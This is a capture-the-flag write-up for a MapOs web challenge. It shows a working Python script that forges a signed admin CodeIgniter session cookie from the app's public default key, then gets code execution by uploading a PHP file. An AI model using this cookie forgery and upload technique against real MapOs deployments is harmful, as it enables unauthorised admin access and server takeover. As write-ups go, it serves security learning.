Description
[PT-BR]
Ouvi no elevador uma conversa do pessoal da empresa ao lado da MapOs e descobri que o sistema principal deles esta passando por uma reformulacao devido a 2 falhas. Uma delas de autenticacao, mas sobre a outra, so sei que pode levar um hacker a ganhar acesso ao servidor principal deles.
Como bom hue_br que voce e , de uma olhada l. Tem um arquivo no servidor deles com a flag.
Vou ser bonzinho: comece pelo admin@admin.com
– Container desse chall sao reiniciados a cada 3h. Em outras palavras, incluia isso no seu calculo para resolver o chall antes do reboot.
[EN]
I just overheard a conversation from the company next door to MapOs and found out that their main system is being updated due to 2 bugs. One of them is related to authentication, but I don’t know nothing about the other one besides the fact that it could lead an attacker to gain access to their main server.
Being such a good hacker as you are, take a look over there. There’s a file in their server with the flag.
PROTIP: begin with admin@admin.com
– Container for this chall is restarted every 3h. In other words, your entire effort should be done in less than 3h from last restart.Solved by 10 teams
Resolution
We have a web challenge, we are given an email: admin@admin.com
The website displays a login page.
Playing with cookies and everything doesn’t bring us anything good.
But we quickly found that MapOs is on github!
We have a real applications, with lots of code. It’s in Portuguese so it’s not really easy to understand everything but it’s not really needed in the end.
First thing to note, the MapOs application is using Codeigniter v1.0.
After some googling, we know a little more about Codeigniter:
– Current version is v3.xx
– It seems to be a pretty safe framework, not so much known vulnerabilities
– Old versions have a bad default configuration for security
– Cookies are updated every 5 minutes
Codeigniter stores the session on client side. But what does it do to prevent cookie injection ? Well, the cookie are signed with a private key only stored on the server side. Cookie encryption is not enabled by default on this application and that’s pretty good for us. Also, no known vulnerabilities are any good on this challenge.
Sessions are also stored on the database on MapOs and compared. We found a nice article describing the cookie on MapOs.
Interesting files on the github are there:
– Configuration file
– Session unserializing cookies
So a cookie is basically like this: [serializedSession][md5(serializedSession + privateKey)]
Since we have a key on the github, let’s try to see if it is the same on the challenge…
And indeed it is the same.
We created an environnement with the app to get the cookie of the admin when it is logged:
ci_session=a:9:{s:10:"session_id";s:32:"randomhash";s:10:"ip_address";s:14:"some_ip";s:10:"user_agent";s:108:"some_user_agent";s:13:"last_activity";i:1482534690;s:9:"user_data";s:0:"";s:4:"nome";s:5:"admin";s:2:"id";s:1:"1";s:9:"permissao";s:1:"1";s:6:"logado";b:1;}
And then we made a script to generate a cookie for the challenge:
#!/usr/bin/env python2 import hashlib import urllib import sys if len(sys.argv) < 2: print "Need argument" exit() test = urllib.unquote(sys.argv[1]) key = "6f;~d5df;.s.d.fwe" m = hashlib.md5() cookie = 'a:9' + test[14:-34] + ';s:4:"nome";s:5:"admin";s:2:"id";s:1:"1";s:9:"permissao";s:1:"1";s:6:"logado";b:1;}' m.update(cookie + key) digest = m.hexdigest() print urllib.urlencode({'ci_session':cookie}) + digest
And now using this cookie, we have all rights on the application, so we start digging around to see every functionality.
We find an archive feature that allows to upload files and see them. On the repo, we see that the types are safe, but trying on the challenge, we could successfully upload a .php script and use it directly.
Flag is: 3DS{System_ownado_Pap0_d3_el3v4d0r}